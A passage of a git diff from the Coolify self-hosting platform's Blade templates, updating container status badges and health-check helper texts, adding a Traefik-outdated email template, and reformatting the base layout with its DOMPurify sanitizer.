+    </a>
+    @if ($server->proxySet())
         <a class="{{ request()->routeIs('server.proxy.dynamic-confs') ? 'menu-item menu-item-active' : 'menu-item' }}"
             href="{{ route('server.proxy.dynamic-confs', $parameters) }}">
             <button>Dynamic Configurations</button>
@@ -12,5 +12,5 @@
             href="{{ route('server.proxy.logs', $parameters) }}">
             <button>Logs</button>
         </a>
-    </div>
-@endif
+    @endif
+</div>
diff --git a/resources/views/components/status/degraded.blade.php b/resources/views/components/status/degraded.blade.php
index 9c0c35fa6..fbd068c72 100644
--- a/resources/views/components/status/degraded.blade.php
+++ b/resources/views/components/status/degraded.blade.php
@@ -1,15 +1,33 @@
 @props([
     'status' => 'Degraded',
 ])
+@php
+    // Handle both colon format (backend) and parentheses format (from services.blade.php)
+    // degraded:unhealthy → Degraded (unhealthy)
+    // degraded (unhealthy) → degraded (unhealthy) (already formatted, display as-is)
+
+    if (str($status)->contains('(')) {
+        // Already in parentheses format from services.blade.php - use as-is
+        $displayStatus = $status;
+        $healthStatus = str($status)->after('(')->before(')')->trim()->value();
+    } elseif (str($status)->contains(':') && !str($status)->startsWith('Proxy')) {
+        // Colon format from backend - transform it
+        $parts = explode(':', $status);
+        $displayStatus = str($parts[0])->headline();
+        $healthStatus = $parts[1] ?? null;
+    } else {
+        // Simple status without health
+        $displayStatus = str($status)->headline();
+        $healthStatus = null;
+    }
+@endphp
 <div class="flex items-center" >
     <x-loading wire:loading.delay.longer />
     <span wire:loading.remove.delay.longer class="flex items-center">
         <div class="badge badge-warning"></div>
-        <div class="pl-2 pr-1 text-xs font-bold dark:text-warning">
-            {{ str($status)->before(':')->headline() }}
-        </div>
-        @if (!str($status)->startsWith('Proxy') && !str($status)->contains('('))
-            <div class="text-xs dark:text-warning">({{ str($status)->after(':') }})</div>
+        <div class="pl-2 pr-1 text-xs font-bold dark:text-warning">{{ $displayStatus }}</div>
+        @if ($healthStatus && !str($displayStatus)->contains('('))
+            <div class="text-xs dark:text-warning">({{ $healthStatus }})</div>
         @endif
     </span>
 </div>
diff --git a/resources/views/components/status/index.blade.php b/resources/views/components/status/index.blade.php
index d592cff79..f0a7876ce 100644
--- a/resources/views/components/status/index.blade.php
+++ b/resources/views/components/status/index.blade.php
@@ -5,13 +5,20 @@
 ])
 @if (str($resource->status)->startsWith('running'))
     <x-status.running :status="$resource->status" :title="$title" :lastDeploymentLink="$lastDeploymentLink" />
-@elseif(str($resource->status)->startsWith('restarting') ||
-        str($resource->status)->startsWith('starting') ||
-        str($resource->status)->startsWith('degraded'))
+@elseif(str($resource->status)->startsWith('degraded'))
+    <x-status.degraded :status="$resource->status" :title="$title" :lastDeploymentLink="$lastDeploymentLink" />
+@elseif(str($resource->status)->startsWith('restarting') || str($resource->status)->startsWith('starting'))
     <x-status.restarting :status="$resource->status" :title="$title" :lastDeploymentLink="$lastDeploymentLink" />
 @else
     <x-status.stopped :status="$resource->status" />
 @endif
+@if (isset($resource->restart_count) && $resource->restart_count > 0 && !str($resource->status)->startsWith('exited'))
+    <div class="flex items-center pl-2">
+        <span class="text-xs dark:text-warning" title="Container has restarted {{ $resource->restart_count }} time{{ $resource->restart_count > 1 ? 's' : '' }}. Last restart: {{ $resource->last_restart_at?->diffForHumans() }}">
+            ({{ $resource->restart_count }}x restarts)
+        </span>
+    </div>
+@endif
 @if (!str($resource->status)->contains('exited') && $showRefreshButton)
     <button wire:loading.remove.delay.shortest wire:target="manualCheckStatus" title="Refresh Status" wire:click='manualCheckStatus'
         class="mx-1 dark:hover:fill-white fill-black dark:fill-warning">
diff --git a/resources/views/components/status/restarting.blade.php b/resources/views/components/status/restarting.blade.php
index 4c73376b4..353bf1097 100644
--- a/resources/views/components/status/restarting.blade.php
+++ b/resources/views/components/status/restarting.blade.php
@@ -4,6 +4,26 @@
     'lastDeploymentLink' => null,
     'noLoading' => false,
 ])
+@php
+    // Handle both colon format (backend) and parentheses format (from services.blade.php)
+    // starting:unknown → Starting (unknown)
+    // starting (unknown) → starting (unknown) (already formatted, display as-is)
+
+    if (str($status)->contains('(')) {
+        // Already in parentheses format from services.blade.php - use as-is
+        $displayStatus = $status;
+        $healthStatus = str($status)->after('(')->before(')')->trim()->value();
+    } elseif (str($status)->contains(':') && !str($status)->startsWith('Proxy')) {
+        // Colon format from backend - transform it
+        $parts = explode(':', $status);
+        $displayStatus = str($parts[0])->headline();
+        $healthStatus = $parts[1] ?? null;
+    } else {
+        // Simple status without health
+        $displayStatus = str($status)->headline();
+        $healthStatus = null;
+    }
+@endphp
 <div class="flex items-center">
     @if (!$noLoading)
         <x-loading wire:loading.delay.longer />
@@ -13,14 +33,14 @@
         <div class="pl-2 pr-1 text-xs font-bold dark:text-warning" @if($title) title="{{$title}}" @endif>
            @if ($lastDeploymentLink)
               <a href="{{ $lastDeploymentLink }}" target="_blank" class="underline cursor-pointer">
-                  {{ str($status)->before(':')->headline() }}
+                  {{ $displayStatus }}
               </a>
           @else
-              {{ str($status)->before(':')->headline() }}
+              {{ $displayStatus }}
           @endif
         </div>
-        @if (!str($status)->startsWith('Proxy') && !str($status)->contains('('))
-            <div class="text-xs dark:text-warning">({{ str($status)->after(':') }})</div>
+        @if ($healthStatus && !str($displayStatus)->contains('('))
+            <div class="text-xs dark:text-warning">({{ $healthStatus }})</div>
         @endif
     </span>
 </div>
diff --git a/resources/views/components/status/running.blade.php b/resources/views/components/status/running.blade.php
index 92a04d33d..eb2964a86 100644
--- a/resources/views/components/status/running.blade.php
+++ b/resources/views/components/status/running.blade.php
@@ -4,6 +4,26 @@
     'lastDeploymentLink' => null,
     'noLoading' => false,
 ])
+@php
+    // Handle both colon format (backend) and parentheses format (from services.blade.php)
+    // running:healthy → Running (healthy)
+    // running (healthy) → running (healthy) (already formatted, display as-is)
+
+    if (str($status)->contains('(')) {
+        // Already in parentheses format from services.blade.php - use as-is
+        $displayStatus = $status;
+        $healthStatus = str($status)->after('(')->before(')')->trim()->value();
+    } elseif (str($status)->contains(':') && !str($status)->startsWith('Proxy')) {
+        // Colon format from backend - transform it
+        $parts = explode(':', $status);
+        $displayStatus = str($parts[0])->headline();
+        $healthStatus = $parts[1] ?? null;
+    } else {
+        // Simple status without health
+        $displayStatus = str($status)->headline();
+        $healthStatus = null;
+    }
+@endphp
 <div class="flex items-center">
     <div class="flex items-center">
         <div wire:loading.delay.longer wire:target="checkProxy(true)" class="badge badge-warning"></div>
@@ -12,21 +32,27 @@
             @if ($title) title="{{ $title }}" @endif>
             @if ($lastDeploymentLink)
                 <a href="{{ $lastDeploymentLink }}" target="_blank" class="underline cursor-pointer">
-                    {{ str($status)->before(':')->headline() }}
+                    {{ $displayStatus }}
                 </a>
             @else
-                {{ str($status)->before(':')->headline() }}
+                {{ $displayStatus }}
             @endif
         </div>
+        @if ($healthStatus && !str($displayStatus)->contains('('))
+            <div class="text-xs text-success">({{ $healthStatus }})</div>
+        @endif
         @php
+            $showUnknownHelper =
+                !str($status)->startsWith('Proxy') &&
+                (str($status)->contains('unknown') || str($healthStatus)->contains('unknown'));
             $showUnhealthyHelper =
                 !str($status)->startsWith('Proxy') &&
-                !str($status)->contains('(') &&
-                str($status)->contains('unhealthy');
+                (str($status)->contains('unhealthy') || str($healthStatus)->contains('unhealthy'));
         @endphp
-        @if ($showUnhealthyHelper)
+        @if ($showUnknownHelper)
+        <div class="px-2">
             <x-helper
-                helper="Unhealthy state. <span class='dark:text-warning text-coollabs'>This doesn't mean that the resource is malfunctioning.</span><br><br>- If the resource is accessible, it indicates that no health check is configured - it is not mandatory.<br>- If the resource is not accessible (returning 404 or 503), it may indicate that a health check is needed and has not passed. <span class='dark:text-warning text-coollabs'>Your action is required.</span><br><br>More details in the <a href='https://coolify.io/docs/knowledge-base/proxy/traefik/healthchecks' class='underline dark:text-warning text-coollabs' target='_blank'>documentation</a>.">
+                helper="No health check configured. <span class='dark:text-warning text-coollabs'>The resource may be functioning normally.</span><br><br>Traefik and Caddy will route traffic to this container even without a health check. However, configuring a health check is recommended to ensure the resource is ready before receiving traffic.<br><br>More details in the <a href='https://coolify.io/docs/knowledge-base/proxy/traefik/healthchecks' class='underline dark:text-warning text-coollabs' target='_blank'>documentation</a>.">
                 <x-slot:icon>
                     <svg class="hidden w-4 h-4 dark:text-warning lg:block" viewBox="0 0 256 256"
                         xmlns="http://www.w3.org/2000/svg">
@@ -36,6 +62,22 @@
                     </svg>
                 </x-slot:icon>
             </x-helper>
+        </div>
+        @endif
+        @if ($showUnhealthyHelper)
+         <div class="px-2">
+            <x-helper
+                helper="Unhealthy state. <span class='dark:text-warning text-coollabs'>The health check is failing.</span><br><br>This resource will <span class='dark:text-warning text-coollabs'>NOT work with Traefik</span> as it expects a healthy state. Your action is required to fix the health check or the underlying issue causing it to fail.<br><br>More details in the <a href='https://coolify.io/docs/knowledge-base/proxy/traefik/healthchecks' class='underline dark:text-warning text-coollabs' target='_blank'>documentation</a>.">
+                <x-slot:icon>
+                    <svg class="hidden w-4 h-4 dark:text-warning lg:block" viewBox="0 0 256 256"
+                        xmlns="http://www.w3.org/2000/svg">
+                        <path fill="currentColor"
+                            d="M240.26 186.1L152.81 34.23a28.74 28.74 0 0 0-49.62 0L15.74 186.1a27.45 27.45 0 0 0 0 27.71A28.31 28.31 0 0 0 40.55 228h174.9a28.31 28.31 0 0 0 24.79-14.19a27.45 27.45 0 0 0 .02-27.71m-20.8 15.7a4.46 4.46 0 0 1-4 2.2H40.55a4.46 4.46 0 0 1-4-2.2a3.56 3.56 0 0 1 0-3.73L124 46.2a4.77 4.77 0 0 1 8 0l87.44 151.87a3.56 3.56 0 0 1 .02 3.73M116 136v-32a12 12 0 0 1 24 0v32a12 12 0 0 1-24 0m28 40a16 16 0 1 1-16-16a16 16 0 0 1 16 16">
+                        </path>
+                    </svg>
+                </x-slot:icon>
+            </x-helper>
+        </div>
         @endif
     </div>
 
diff --git a/resources/views/components/status/services.blade.php b/resources/views/components/status/services.blade.php
index 7ea55099f..9c7a870c7 100644
--- a/resources/views/components/status/services.blade.php
+++ b/resources/views/components/status/services.blade.php
@@ -1,13 +1,16 @@
-@if (str($complexStatus)->contains('running'))
-    <x-status.running :status="$complexStatus" />
-@elseif(str($complexStatus)->contains('starting'))
-    <x-status.restarting :status="$complexStatus" />
-@elseif(str($complexStatus)->contains('restarting'))
-    <x-status.restarting :status="$complexStatus" />
-@elseif(str($complexStatus)->contains('degraded'))
-    <x-status.degraded :status="$complexStatus" />
+@php
+    $displayStatus = formatContainerStatus($complexStatus);
+@endphp
+@if (str($displayStatus)->lower()->contains('running'))
+    <x-status.running :status="$displayStatus" />
+@elseif(str($displayStatus)->lower()->contains('starting'))
+    <x-status.restarting :status="$displayStatus" />
+@elseif(str($displayStatus)->lower()->contains('restarting'))
+    <x-status.restarting :status="$displayStatus" />
+@elseif(str($displayStatus)->lower()->contains('degraded'))
+    <x-status.degraded :status="$displayStatus" />
 @else
-    <x-status.stopped :status="$complexStatus" />
+    <x-status.stopped :status="$displayStatus" />
 @endif
 @if (!str($complexStatus)->contains('exited') && $showRefreshButton)
     <button wire:loading.remove.delay.shortest wire:target="manualCheckStatus" title="Refresh Status" wire:click='manualCheckStatus'
diff --git a/resources/views/components/status/stopped.blade.php b/resources/views/components/status/stopped.blade.php
index 112f54efa..0af349d40 100644
--- a/resources/views/components/status/stopped.blade.php
+++ b/resources/views/components/status/stopped.blade.php
@@ -2,12 +2,47 @@
     'status' => 'Stopped',
     'noLoading' => false,
 ])
+@php
+    // Handle both colon format (backend) and parentheses format (from services.blade.php)
+    // For exited containers, health status is hidden (health checks don't run on stopped containers)
+    // exited:unhealthy → Exited
+    // exited (unhealthy) → Exited
+
+    if (str($status)->contains('(')) {
+        // Already in parentheses format from services.blade.php - use as-is
+        $displayStatus = $status;
+        $healthStatus = str($status)->after('(')->before(')')->trim()->value();
+
+        // Don't show health status for exited containers (health checks don't run on stopped containers)
+        if (str($displayStatus)->lower()->contains('exited')) {
+            $displayStatus = str($status)->before('(')->trim()->headline();
+            $healthStatus = null;
+        }
+    } elseif (str($status)->contains(':')) {
+        // Colon format from backend - transform it
+        $parts = explode(':', $status);
+        $displayStatus = str($parts[0])->headline();
+        $healthStatus = $parts[1] ?? null;
+
+        // Don't show health status for exited containers (health checks don't run on stopped containers)
+        if (str($displayStatus)->lower()->contains('exited')) {
+            $healthStatus = null;
+        }
+    } else {
+        // Simple status without health
+        $displayStatus = str($status)->headline();
+        $healthStatus = null;
+    }
+@endphp
 <div class="flex items-center">
     @if (!$noLoading)
         <x-loading wire:loading.delay.longer />
     @endif
     <span wire:loading.remove.delay.longer class="flex items-center">
         <div class="badge badge-error "></div>
-        <div class="pl-2 pr-1 text-xs font-bold text-error">{{ str($status)->before(':')->headline() }}</div>
+        <div class="pl-2 pr-1 text-xs font-bold text-error">{{ $displayStatus }}</div>
+        @if ($healthStatus && !str($displayStatus)->contains('('))
+            <div class="text-xs text-error">({{ $healthStatus }})</div>
+        @endif
     </span>
 </div>
diff --git a/resources/views/emails/traefik-version-outdated.blade.php b/resources/views/emails/traefik-version-outdated.blade.php
new file mode 100644
index 000000000..28effabf3
--- /dev/null
+++ b/resources/views/emails/traefik-version-outdated.blade.php
@@ -0,0 +1,62 @@
+<x-emails.layout>
+{{ $count }} server(s) are running outdated Traefik proxy. Update recommended for security and features.
+
+## Affected Servers
+
+@foreach ($servers as $server)
+@php
+    $info = $server->outdatedInfo ?? [];
+    $current = $info['current'] ?? 'unknown';
+    $latest = $info['latest'] ?? 'unknown';
+    $isPatch = ($info['type'] ?? 'patch_update') === 'patch_update';
+    $hasNewerBranch = isset($info['newer_branch_target']);
+    $hasUpgrades = $hasUpgrades ?? false;
+    if (!$isPatch || $hasNewerBranch) {
+        $hasUpgrades = true;
+    }
+    // Add 'v' prefix for display
+    $current = str_starts_with($current, 'v') ? $current : "v{$current}";
+    $latest = str_starts_with($latest, 'v') ? $latest : "v{$latest}";
+
+    // For minor upgrades, use the upgrade_target (e.g., "v3.6")
+    if (!$isPatch && isset($info['upgrade_target'])) {
+        $upgradeTarget = str_starts_with($info['upgrade_target'], 'v') ? $info['upgrade_target'] : "v{$info['upgrade_target']}";
+    } else {
+        // For patch updates, show the full version
+        $upgradeTarget = $latest;
+    }
+
+    // Get newer branch info if available
+    if ($hasNewerBranch) {
+        $newerBranchTarget = $info['newer_branch_target'];
+        $newerBranchLatest = str_starts_with($info['newer_branch_latest'], 'v') ? $info['newer_branch_latest'] : "v{$info['newer_branch_latest']}";
+    }
+@endphp
+@if ($isPatch && $hasNewerBranch)
+- **{{ $server->name }}**: {{ $current }} → {{ $upgradeTarget }} (patch update available) | Also available: {{ $newerBranchTarget }} (latest patch: {{ $newerBranchLatest }}) - new minor version
+@elseif ($isPatch)
+- **{{ $server->name }}**: {{ $current }} → {{ $upgradeTarget }} (patch update available)
+@else
+- **{{ $server->name }}**: {{ $current }} (latest patch: {{ $latest }}) → {{ $upgradeTarget }} (new minor version available)
+@endif
+@endforeach
+
+## Recommendation
+
+It is recommended to test the new Traefik version before switching it in production environments. You can update your proxy configuration through your [Coolify Dashboard]({{ config('app.url') }}).
+
+@if ($hasUpgrades ?? false)
+**Important for minor version upgrades:** Before upgrading to a new minor version, please read the [Traefik changelog](https://github.com/traefik/traefik/releases) to understand breaking changes and new features.
+@endif
+
+## Next Steps
+
+1. Review the [Traefik release notes](https://github.com/traefik/traefik/releases) for changes
+2. Test the new version in a non-production environment
+3. Update your proxy configuration when ready
+4. Monitor services after the update
+
+---
+
+You can manage your server proxy settings in your Coolify Dashboard.
+</x-emails.layout>
diff --git a/resources/views/layouts/app.blade.php b/resources/views/layouts/app.blade.php
index 0a7909761..0ef021458 100644
--- a/resources/views/layouts/app.blade.php
+++ b/resources/views/layouts/app.blade.php
@@ -17,7 +17,8 @@
                     localStorage.setItem('pageWidth', 'full');
                 }
             }
-        }" x-cloak class="mx-auto" :class="pageWidth === 'full' ? '' : 'max-w-7xl'">
+        }" x-cloak class="mx-auto dark:text-inherit text-black"
+            :class="pageWidth === 'full' ? '' : 'max-w-7xl'">
             <div class="relative z-50 lg:hidden" :class="open ? 'block' : 'hidden'" role="dialog" aria-modal="true">
                 <div class="fixed inset-0 bg-black/80" x-on:click="open = false"></div>
                 <div class="fixed inset-y-0 right-0 h-full flex">
@@ -45,9 +46,11 @@
                 </div>
             </div>
 
-            <div class="sticky top-0 z-40 flex items-center justify-between px-4 py-4 gap-x-6 sm:px-6 lg:hidden bg-white/95 dark:bg-base/95 backdrop-blur-sm border-b border-neutral-300/50 dark:border-coolgray-200/50">
+            <div
+                class="sticky top-0 z-40 flex items-center justify-between px-4 py-4 gap-x-6 sm:px-6 lg:hidden bg-white/95 dark:bg-base/95 backdrop-blur-sm border-b border-neutral-300/50 dark:border-coolgray-200/50">
                 <div class="flex items-center gap-3 flex-shrink-0">
-                    <a href="/" class="text-xl font-bold tracking-wide dark:text-white hover:opacity-80 transition-opacity">Coolify</a>
+                    <a href="/"
+                        class="text-xl font-bold tracking-wide dark:text-white hover:opacity-80 transition-opacity">Coolify</a>
                     <livewire:switch-team />
                 </div>
                 <button type="button" class="-m-2.5 p-2.5 dark:text-warning" x-on:click="open = !open">
diff --git a/resources/views/layouts/base.blade.php b/resources/views/layouts/base.blade.php
index a4c72a5d8..7bb366cd4 100644
--- a/resources/views/layouts/base.blade.php
+++ b/resources/views/layouts/base.blade.php
@@ -2,17 +2,19 @@
 <html data-theme="dark" lang="{{ str_replace('_', '-', app()->getLocale()) }}">
 <script>
     // Immediate theme application - runs before any rendering
-    (function() {
+    (function () {
         const t = localStorage.theme || 'dark';
         const d = t === 'dark' || (t === 'system' && matchMedia('(prefers-color-scheme: dark)').matches);
         document.documentElement.classList[d ? 'add' : 'remove']('dark');
+        document.documentElement.setAttribute('data-theme', d ? 'dark' : 'light');
     })();
 </script>
+
 <head>
     <meta charset="utf-8">
     <meta name="viewport" content="width=device-width, initial-scale=1">
     <meta name="robots" content="noindex">
-    <meta name="theme-color" content="#101010" id="theme-color-meta" />
+    <meta name="theme-color" content="#ffffff" id="theme-color-meta" />
     <meta name="color-scheme" content="dark light" />
     <meta name="Description" content="Coolify: An open-source & self-hostable Heroku / Netlify / Vercel alternative" />
     <meta name="viewport" content="width=device-width,initial-scale=1" />
@@ -73,102 +75,102 @@
 </head>
 @section('body')
 
-    <body>
-        <x-toast />
-        <script data-navigate-once>
-            // Global HTML sanitization function using DOMPurify
-            window.sanitizeHTML = function(html) {
-                if (!html) return '';
-                const URL_RE = /^(https?:|mailto:)/i;
-                const config = {
-                    ALLOWED_TAGS: ['a', 'b', 'br', 'code', 'del', 'div', 'em', 'i', 'p', 'pre', 's', 'span', 'strong',
-                        'u'
-                    ],
-                    ALLOWED_ATTR: ['class', 'href', 'target', 'title', 'rel'],
-                    ALLOW_DATA_ATTR: false,
-                    FORBID_TAGS: ['script', 'object', 'embed', 'applet', 'iframe', 'form', 'input', 'button', 'select',
-                        'textarea', 'details', 'summary', 'dialog', 'style'
-                    ],
-                    FORBID_ATTR: ['onerror', 'onload', 'onclick', 'onmouseover', 'onfocus', 'onblur', 'onchange',
-                        'onsubmit', 'ontoggle', 'style'
-                    ],
-                    KEEP_CONTENT: true,
-                    RETURN_DOM: false,
-                    RETURN_DOM_FRAGMENT: false,
-                    SANITIZE_DOM: true,
-                    SANITIZE_NAMED_PROPS: true,
-                    SAFE_FOR_TEMPLATES: true,
-                    ALLOWED_URI_REGEXP: URL_RE
-                };
-
-                // One-time hook registration (idempotent pattern)
-                if (!window.__dpLinkHook) {
-                    DOMPurify.addHook('afterSanitizeAttributes', node => {
-                        // Remove Alpine.js directives to prevent XSS
-                        if (node.hasAttributes && node.hasAttributes()) {
-                            const attrs = Array.from(node.attributes);
-                            attrs.forEach(attr => {
-                                // Remove x-* attributes (Alpine directives)
-                                if (attr.name.startsWith('x-')) {
-                                    node.removeAttribute(attr.name);
-                                }
-                                // Remove @* attributes (Alpine event shorthand)
-                                if (attr.name.startsWith('@')) {
-                                    node.removeAttribute(attr.name);
-                                }
-                                // Remove :* attributes (Alpine binding shorthand)
-                                if (attr.name.startsWith(':')) {
-                                    node.removeAttribute(attr.name);
-                                }
-                            });
-                        }
-
-                        // Existing link sanitization
-                        if (node.nodeName === 'A' && node.hasAttribute('href')) {
-                            const href = node.getAttribute('href') || '';
-                            if (!URL_RE.test(href)) node.removeAttribute('href');
-                            if (node.getAttribute('target') === '_blank') {
-                                node.setAttribute('rel', 'noopener noreferrer');
-                            }
-                        }
-                    });
-                    window.__dpLinkHook = true;
-                }
-                return DOMPurify.sanitize(html, config);
+<body class="dark:text-inherit text-black">
+    <x-toast />
+    <script data-navigate-once>
+        // Global HTML sanitization function using DOMPurify
+        window.sanitizeHTML = function (html) {
+            if (!html) return '';
+            const URL_RE = /^(https?:|mailto:)/i;
+            const config = {
+                ALLOWED_TAGS: ['a', 'b', 'br', 'code', 'del', 'div', 'em', 'i', 'p', 'pre', 's', 'span', 'strong',
+                    'u'
+                ],
+                ALLOWED_ATTR: ['class', 'href', 'target', 'title', 'rel'],
+                ALLOW_DATA_ATTR: false,
+                FORBID_TAGS: ['script', 'object', 'embed', 'applet', 'iframe', 'form', 'input', 'button', 'select',
+                    'textarea', 'details', 'summary', 'dialog', 'style'
+                ],
+                FORBID_ATTR: ['onerror', 'onload', 'onclick', 'onmouseover', 'onfocus', 'onblur', 'onchange',
+                    'onsubmit', 'ontoggle', 'style'
+                ],
+                KEEP_CONTENT: true,
+                RETURN_DOM: false,
+                RETURN_DOM_FRAGMENT: false,
+                SANITIZE_DOM: true,
+                SANITIZE_NAMED_PROPS: true,
+                SAFE_FOR_TEMPLATES: true,
+                ALLOWED_URI_REGEXP: URL_RE
             };
 
-            // Initialize theme if not set
-            if (!('theme' in localStorage)) {
-                localStorage.theme = 'dark';
-            }
+            // One-time hook registration (idempotent pattern)
+            if (!window.__dpLinkHook) {
+                DOMPurify.addHook('afterSanitizeAttributes', node => {
+                    // Remove Alpine.js directives to prevent XSS
+                    if (node.hasAttributes && node.hasAttributes()) {
+                        const attrs = Array.from(node.attributes);
+                        attrs.forEach(attr => {
+                            // Remove x-* attributes (Alpine directives)
+                            if (attr.name.startsWith('x-')) {
+                                node.removeAttribute(attr.name);
+                            }
+                            // Remove @* attributes (Alpine event shorthand)
+                            if (attr.name.startsWith('@')) {
+                                node.removeAttribute(attr.name);
+                            }
+                            // Remove :* attributes (Alpine binding shorthand)
+                            if (attr.name.startsWith(':')) {
+                                node.removeAttribute(attr.name);
+                            }
+                        });
+                    }
 
-            let theme = localStorage.theme
-            let cpuColor = '#1e90ff'
-            let ramColor = '#00ced1'
-            let textColor = '#ffffff'
-            let editorBackground = '#181818'
-            let editorTheme = 'blackboard'
-
-            function checkTheme() {
-                theme = localStorage.theme
-                if (theme == 'system') {
-                    theme = window.matchMedia('(prefers-color-scheme: dark)').matches ? 'dark' : 'light'
-                }
-                if (theme == 'dark') {
-                    cpuColor = '#1e90ff'
-                    ramColor = '#00ced1'
-                    textColor = '#ffffff'
-                    editorBackground = '#181818'
-                    editorTheme = 'blackboard'
-                } else {
-                    cpuColor = '#1e90ff'
-                    ramColor = '#00ced1'
-                    textColor = '#000000'
-                    editorBackground = '#ffffff'
-                    editorTheme = null
-                }
+                    // Existing link sanitization
+                    if (node.nodeName === 'A' && node.hasAttribute('href')) {
+                        const href = node.getAttribute('href') || '';
+                        if (!URL_RE.test(href)) node.removeAttribute('href');
+                        if (node.getAttribute('target') === '_blank') {
+                            node.setAttribute('rel', 'noopener noreferrer');
+                        }
+                    }
+                });
+                window.__dpLinkHook = true;
             }
-            @auth
+            return DOMPurify.sanitize(html, config);
+        };
+
+        // Initialize theme if not set
+        if (!('theme' in localStorage)) {
+            localStorage.theme = 'dark';
+        }
+
+        let theme = localStorage.theme
+        let cpuColor = '#1e90ff'
+        let ramColor = '#00ced1'
+        let textColor = '#ffffff'
+        let editorBackground = '#181818'
+        let editorTheme = 'blackboard'
+
+        function checkTheme() {
+            theme = localStorage.theme
+            if (theme == 'system') {
+                theme = window.matchMedia('(prefers-color-scheme: dark)').matches ? 'dark' : 'light'
+            }
+            if (theme == 'dark') {
+                cpuColor = '#1e90ff'
+                ramColor = '#00ced1'
+                textColor = '#ffffff'
+                editorBackground = '#181818'
+                editorTheme = 'blackboard'
+            } else {
+                cpuColor = '#1e90ff'
+                ramColor = '#00ced1'
+                textColor = '#000000'
+                editorBackground = '#ffffff'
+                editorTheme = null
+            }
+        }
+        @auth
             window.Pusher = Pusher;
             window.Echo = new Echo({
                 broadcaster: 'pusher',
@@ -197,131 +199,131 @@ function checkTheme() {
                 // Maximum number of reconnection attempts
                 maxAttempts: 15
             });
-            @endauth
-            let checkHealthInterval = null;
-            let checkIfIamDeadInterval = null;
+        @endauth
+        let checkHealthInterval = null;
+        let checkIfIamDeadInterval = null;
 
-            function changePasswordFieldType(event) {
-                let element = event.target
-                for (let i = 0; i < 10; i++) {
-                    if (element.className === "relative") {
-                        break;
-                    }
-                    element = element.parentElement;
+        function changePasswordFieldType(event) {
+            let element = event.target
+            for (let i = 0; i < 10; i++) {
+                if (element.className === "relative") {
+                    break;
                 }
-                element = element.children[1];
-                if (element.nodeName === 'INPUT' || element.nodeName === 'TEXTAREA') {
-                    if (element.type === 'password') {
-                        element.type = 'text';
-                        if (element.disabled) return;
-                        element.classList.add('truncate');
-                        this.type = 'text';
-                    } else {
-                        element.type = 'password';
-                        if (element.disabled) return;
-                        element.classList.remove('truncate');
-                        this.type = 'password';
-                    }
+                element = element.parentElement;
+            }
+            element = element.children[1];
+            if (element.nodeName === 'INPUT' || element.nodeName === 'TEXTAREA') {
+                if (element.type === 'password') {
+                    element.type = 'text';
+                    if (element.disabled) return;
+                    element.classList.add('truncate');
+                    this.type = 'text';
+                } else {
+                    element.type = 'password';
+                    if (element.disabled) return;
+                    element.classList.remove('truncate');
+                    this.type = 'password';
                 }
             }
+        }
 
-            function copyToClipboard(text) {
-                navigator?.clipboard?.writeText(text) && window.Livewire.dispatch('success', 'Copied to clipboard.');
-            }
-            document.addEventListener('livewire:init', () => {
-                window.Livewire.on('reloadWindow', (timeout) => {
-                    if (timeout) {
-                        setTimeout(() => {
-                            window.location.reload();
-                        }, timeout);
-                        return;
-                    } else {
+        function copyToClipboard(text) {
+            navigator?.clipboard?.writeText(text) && window.Livewire.dispatch('success', 'Copied to clipboard.');
+        }
+        document.addEventListener('livewire:init', () => {
+            window.Livewire.on('reloadWindow', (timeout) => {
+                if (timeout) {
+                    setTimeout(() => {
                         window.location.reload();
-                    }
-                })
-                window.Livewire.on('info', (message) => {
-                    if (typeof message === 'string') {
-                        window.toast('Info', {
-                            type: 'info',
-                            description: message,
-                        })
-                        return;
-                    }
-                    if (message.length == 1) {
-                        window.toast('Info', {
-                            type: 'info',
-                            description: message[0],
-                        })
-                    } else if (message.length == 2) {
-                        window.toast(message[0], {
-                            type: 'info',
-                            description: message[1],
-                        })
-                    }
-                })
-                window.Livewire.on('error', (message) => {
-                    if (typeof message === 'string') {
-                        window.toast('Error', {
-                            type: 'danger',
-                            description: message,
-                        })
-                        return;
-                    }
-                    if (message.length == 1) {
-                        window.toast('Error', {
-                            type: 'danger',
-                            description: message[0],
-                        })
-                    } else if (message.length == 2) {
-                        window.toast(message[0], {
-                            type: 'danger',
-                            description: message[1],
-                        })
-                    }
-                })
-                window.Livewire.on('warning', (message) => {
-                    if (typeof message === 'string') {
-                        window.toast('Warning', {
-                            type: 'warning',
-                            description: message,
-                        })
-                        return;
-                    }
-                    if (message.length == 1) {
-                        window.toast('Warning', {
-                            type: 'warning',
-                            description: message[0],
-                        })
-                    } else if (message.length == 2) {
-                        window.toast(message[0], {
-                            type: 'warning',
-                            description: message[1],
-                        })
-                    }
-                })
-                window.Livewire.on('success', (message) => {
-                    if (typeof message === 'string') {
-                        window.toast('Success', {
-                            type: 'success',
-                            description: message,
-                        })
-                        return;
-                    }
-                    if (message.length == 1) {
-                        window.toast('Success', {
-                            type: 'success',
-                            description: message[0],
-                        })
-                    } else if (message.length == 2) {
-                        window.toast(message[0], {
-                            type: 'success',
-                            description: message[1],
-                        })
-                    }
-                })
-            });
-        </script>
-    </body>
+                    }, timeout);
+                    return;
+                } else {
+                    window.location.reload();
+                }
+            })
+            window.Livewire.on('info', (message) => {
+                if (typeof message === 'string') {
+                    window.toast('Info', {
+                        type: 'info',
+                        description: message,
+                    })
+                    return;
+                }
+                if (message.length == 1) {
+                    window.toast('Info', {
+                        type: 'info',
+                        description: message[0],
+                    })
+                } else if (message.length == 2) {
+                    window.toast(message[0], {
+                        type: 'info',
+                        description: message[1],
+                    })
+                }
+            })
+            window.Livewire.on('error', (message) => {
+                if (typeof message === 'string') {
+                    window.toast('Error', {
+                        type: 'danger',
+                        description: message,
+                    })
+                    return;
+                }
+                if (message.length == 1) {
+                    window.toast('Error', {
+                        type: 'danger',
+                        description: message[0],
+                    })
+                } else if (message.length == 2) {
+                    window.toast(message[0], {
+                        type: 'danger',
+                        description: message[1],
+                    })
+                }
+            })
+            window.Livewire.on('warning', (message) => {
+                if (typeof message === 'string') {
+                    window.toast('Warning', {
+                        type: 'warning',
+                        description: message,
+                    })
+                    return;
+                }
+                if (message.length == 1) {
+                    window.toast('Warning', {
+                        type: 'warning',
+                        description: message[0],
+                    })
+                } else if (message.length == 2) {
+                    window.toast(message[0], {
+                        type: 'warning',
+                        description: message[1],
+                    })
+                }
+            })
+            window.Livewire.on('success', (message) => {
+                if (typeof message === 'string') {
+                    window.toast('Success', {
+                        type: 'success',
+                        description: message,
+                    })
+                    return;
+                }
+                if (message.length == 1) {
+                    window.toast('Success', {
+                        type: 'success',
+                        description: message[0],
+                    })
